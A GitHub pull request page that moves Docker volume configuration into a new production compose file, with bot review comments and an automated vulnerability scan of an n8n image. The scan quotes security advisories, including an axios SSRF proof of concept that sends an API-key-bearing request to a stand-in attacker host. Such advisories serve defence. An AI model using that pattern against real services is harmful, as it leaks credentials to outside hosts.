Skip to content

Conversation

@anatolyshipitz
Copy link
Collaborator

  • Introduced a new docker-compose.prod.yml file for production configuration.
  • Updated README to reflect changes in volume management and service startup instructions.
  • Removed the setup_volumes.sh script as volume directories are now managed directly in the docker-compose files.

…setup_volumes.sh

- Introduced a new docker-compose.prod.yml file for production configuration.
- Updated README to reflect changes in volume management and service startup instructions.
- Removed the setup_volumes.sh script as volume directories are now managed directly in the docker-compose files.
@anatolyshipitz anatolyshipitz self-assigned this Apr 28, 2025
@coderabbitai
Copy link

coderabbitai bot commented Apr 28, 2025

Walkthrough

The changes remove the manual setup of volume directories for Docker Compose by deleting the setup script and updating documentation. The docker-compose.yml file is simplified to use Docker-managed anonymous volumes in development, while a new docker-compose.prod.yml file introduces explicit host directory bind mounts for persistent storage in production. The README is updated to clarify the differences between development and production volume handling and to reflect the new, simplified startup instructions. The troubleshooting section and references to the setup script are removed.

Changes

File(s) Change Summary
README.md Updated instructions to remove manual volume setup, clarify dev/prod volume differences, and revise startup and troubleshooting sections.
docker-compose.yml Simplified volume definitions to use default Docker-managed (anonymous) volumes without explicit host bindings.
docker-compose.prod.yml Added new file defining volumes with explicit bind mounts to host directories for persistent storage in production.
scripts/setup_volumes.sh Deleted script that previously created and set permissions for volume directories.
.github/workflows/code-quality.yml Removed step that ran the setup volumes script from the CI workflow.

Sequence Diagram(s)

sequenceDiagram
    participant User
    participant DockerCompose
    participant HostFS

    User->>DockerCompose: Start in Development (docker compose up -d)
    DockerCompose->>DockerCompose: Create anonymous volumes
    DockerCompose->>HostFS: Use Docker-managed storage (no explicit host bind)

    User->>DockerCompose: Start in Production (docker-compose -f ... up -d)
    DockerCompose->>HostFS: Bind mount /data/n8n, /data/opensearch, /data/postgresql
    DockerCompose->>DockerCompose: Use explicit host directories for persistence
Loading

📜 Recent review details

Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between fbac438 and 2be75eb.

📒 Files selected for processing (1)
  • .github/workflows/code-quality.yml (0 hunks)
💤 Files with no reviewable changes (1)
  • .github/workflows/code-quality.yml
⏰ Context from checks skipped due to timeout of 90000ms (2)
  • GitHub Check: Docker Security Scanning (n8n, Dockerfile.n8n, n8n-test:latest)
  • GitHub Check: Service Availability Check

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share
🪧 Tips

Chat

There are 3 ways to chat with CodeRabbit:

  • Review comments: Directly reply to a review comment made by CodeRabbit. Example:
    • I pushed a fix in commit <commit_id>, please review it.
    • Generate unit testing code for this file.
    • Open a follow-up GitHub issue for this discussion.
  • Files and specific lines of code (under the "Files changed" tab): Tag @coderabbitai in a new review comment at the desired location with your query. Examples:
    • @coderabbitai generate unit testing code for this file.
    • @coderabbitai modularize this function.
  • PR comments: Tag @coderabbitai in a new PR comment to ask questions about the PR branch. For the best results, please provide a very specific query, as very limited context is provided in this mode. Examples:
    • @coderabbitai gather interesting stats about this repository and render them as a table. Additionally, render a pie chart showing the language distribution in the codebase.
    • @coderabbitai read src/utils.ts and generate unit testing code.
    • @coderabbitai read the files in the src/scheduler package and generate a class diagram using mermaid and a README in the markdown format.
    • @coderabbitai help me debug CodeRabbit configuration file.

Note: Be mindful of the bot's finite context window. It's strongly recommended to break down tasks such as reading entire modules into smaller chunks. For a focused discussion, use review comments to chat about specific files and their changes, instead of using the PR comments.

CodeRabbit Commands (Invoked using PR comments)

  • @coderabbitai pause to pause the reviews on a PR.
  • @coderabbitai resume to resume the paused reviews.
  • @coderabbitai review to trigger an incremental review. This is useful when automatic reviews are disabled for the repository.
  • @coderabbitai full review to do a full review from scratch and review all the files again.
  • @coderabbitai summary to regenerate the summary of the PR.
  • @coderabbitai generate docstrings to generate docstrings for this PR.
  • @coderabbitai generate sequence diagram to generate a sequence diagram of the changes in this PR.
  • @coderabbitai resolve resolve all the CodeRabbit review comments.
  • @coderabbitai configuration to show the current CodeRabbit configuration for the repository.
  • @coderabbitai help to get help.

Other keywords and placeholders

  • Add @coderabbitai ignore anywhere in the PR description to prevent this PR from being reviewed.
  • Add @coderabbitai summary to generate the high-level summary at a specific location in the PR description.
  • Add @coderabbitai anywhere in the PR title to generate the title automatically.

CodeRabbit Configuration File (.coderabbit.yaml)

  • You can programmatically configure CodeRabbit by adding a .coderabbit.yaml file to the root of your repository.
  • Please see the configuration documentation for more information.
  • If your editor has YAML language server enabled, you can add the path at the top of this file to enable auto-completion and validation: # yaml-language-server: $schema=https://coderabbit.ai/integrations/schema.v2.json

Documentation and Community

  • Visit our Documentation for detailed information on how to use CodeRabbit.
  • Join our Discord Community to get help, request features, and share feedback.
  • Follow us on X/Twitter for updates and announcements.

@github-actions
Copy link

github-actions bot commented Apr 28, 2025

🔍 Vulnerabilities of n8n-test:latest

📦 Image Reference n8n-test:latest
digestsha256:266cca6c63605986e4b35d9933726415085b8077932685ca9e3bdc08a60dc620
vulnerabilitiescritical: 1 high: 4 medium: 0 low: 0
platformlinux/amd64
size243 MB
packages1628
📦 Base Image node:20-alpine
also known as
  • 20-alpine3.21
  • 20.19-alpine
  • 20.19-alpine3.21
  • 20.19.0-alpine
  • 20.19.0-alpine3.21
  • iron-alpine
  • iron-alpine3.21
digestsha256:37a5a350292926f98d48de9af160b0a3f7fcb141566117ee452742739500a5bd
vulnerabilitiescritical: 0 high: 1 medium: 0 low: 0
critical: 1 high: 0 medium: 0 low: 0 stdlib 1.24.0 (golang)

pkg:golang/stdlib@1.24.0

critical : CVE--2025--22871

Affected range>=1.24.0-0
<1.24.2
Fixed version1.24.2
EPSS Score0.015%
EPSS Percentile2nd percentile
Description

The net/http package improperly accepts a bare LF as a line terminator in chunked data chunk-size lines. This can permit request smuggling if a net/http server is used in conjunction with a server that incorrectly accepts a bare LF as part of a chunk-ext.

critical: 0 high: 1 medium: 0 low: 0 axios 1.7.4 (npm)

pkg:npm/axios@1.7.4

high 7.7: CVE--2025--27152 Server-Side Request Forgery (SSRF)

Affected range>=1.0.0
<1.8.2
Fixed version1.8.2
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P
EPSS Score0.056%
EPSS Percentile18th percentile
Description

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery).
Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

import axios from "axios";

const internalAPIClient = axios.create({
  baseURL: "http://example.test/api/v1/users/",
  headers: {
    "X-API-KEY": "1234567890",
  },
});

// const userId = "123";
const userId = "http://attacker.test/";

await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

  • When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
  • Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

  1. Set up two simple HTTP servers:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
  1. Create a script (e.g., main.js):
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
  1. Run the script:
$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

  • Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
  • SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
  • Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.
critical: 0 high: 1 medium: 0 low: 0 cross-spawn 7.0.3 (npm)

pkg:npm/cross-spawn@7.0.3

high 7.5: CVE--2024--21538 Inefficient Regular Expression Complexity

Affected range>=7.0.0
<7.0.5
Fixed version7.0.5
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.132%
EPSS Percentile34th percentile
Description

Versions of the package cross-spawn before 7.0.5 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.

critical: 0 high: 1 medium: 0 low: 0 pdfjs-dist 2.16.105 (npm)

pkg:npm/pdfjs-dist@2.16.105

high 8.8: CVE--2024--4367 Improper Check for Unusual or Exceptional Conditions

Affected range<=4.1.392
Fixed version4.2.67
CVSS Score8.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
EPSS Score14.484%
EPSS Percentile94th percentile
Description

Impact

If pdf.js is used to load a malicious PDF, and PDF.js is configured with isEvalSupported set to true (which is the default value), unrestricted attacker-controlled JavaScript will be executed in the context of the hosting domain.

Patches

The patch removes the use of eval:
mozilla/pdf.js#18015

Workarounds

Set the option isEvalSupported to false.

References

https://bugzilla.mozilla.org/show_bug.cgi?id=1893645

critical: 0 high: 1 medium: 0 low: 0 semver 5.3.0 (npm)

pkg:npm/semver@5.3.0

high 7.5: CVE--2022--25883 Inefficient Regular Expression Complexity

Affected range<5.7.2
Fixed version5.7.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.308%
EPSS Percentile53rd percentile
Description

Versions of the package semver before 7.5.2 on the 7.x branch, before 6.3.1 on the 6.x branch, and all other versions before 5.7.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.

Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

🧹 Nitpick comments (4)
docker-compose.prod.yml (3)

2-3: Inconsistent volume naming convention
The volume names mix snake_case (n8n_data) and kebab-case (opensearch-data, postgresql-data), which can confuse readers and tooling. Pick one convention (e.g., n8n-data) and apply it uniformly.

-volumes:
-  n8n_data:
+volumes:
+  n8n-data:
     driver: local

Also applies to: 8-9, 14-15


5-7: Parameterize host data directory path
Hard-coding /data/... reduces flexibility across environments. Consider introducing an environment variable (e.g., ${HOST_DATA_DIR}) for the host directory root so you can override it without editing the Compose file.

 driver_opts:
   type: none
   o: bind
-  device: /data/n8n
+  device: ${HOST_DATA_DIR:-/data}/n8n

(Apply the same pattern to /data/opensearch and /data/postgresql.)

Also applies to: 11-13, 17-19


19-19: Add newline at end of file
YAML files should end with a newline to satisfy POSIX standards and avoid lint errors.

@@
 device: /data/postgresql
+
🧰 Tools
🪛 YAMLlint (1.35.1)

[error] 19-19: no new line character at the end of file

(new-line-at-end-of-file)

README.md (1)

37-49: Unify Docker CLI commands
The instructions use both docker compose (modern CLI) and docker-compose (legacy). For consistency and clarity, prefer the unified docker compose syntax throughout.

-#### 2. Production
-```bash
-docker-compose -f docker-compose.yml -f docker-compose.prod.yml up -d
-```
+#### 2. Production
+```bash
+docker compose -f docker-compose.yml -f docker-compose.prod.yml up -d
+```
📜 Review details

Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between c80eb3b and 4c59381.

📒 Files selected for processing (4)
  • README.md (2 hunks)
  • docker-compose.prod.yml (1 hunks)
  • docker-compose.yml (0 hunks)
  • scripts/setup_volumes.sh (0 hunks)
💤 Files with no reviewable changes (2)
  • docker-compose.yml
  • scripts/setup_volumes.sh
🧰 Additional context used
🪛 YAMLlint (1.35.1)
docker-compose.prod.yml

[error] 19-19: no new line character at the end of file

(new-line-at-end-of-file)

⏰ Context from checks skipped due to timeout of 90000ms (1)
  • GitHub Check: Docker Security Scanning (n8n, Dockerfile.n8n, n8n-test:latest)

@anatolyshipitz anatolyshipitz enabled auto-merge (squash) April 28, 2025 12:33
killev
killev previously approved these changes Apr 28, 2025
Copy link
Contributor

@killev killev left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

LGTM. Approved

- Eliminated the step to create volume directories as it is no longer necessary.
- Updated the workflow to streamline the setup process for Docker.
@sonarqubecloud
Copy link

@anatolyshipitz anatolyshipitz requested a review from killev April 28, 2025 15:52
@anatolyshipitz anatolyshipitz merged commit d675e54 into main Apr 28, 2025
11 checks passed
@anatolyshipitz anatolyshipitz deleted the issue/64533-change-volumes-configuration branch April 28, 2025 15:53
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

4 participants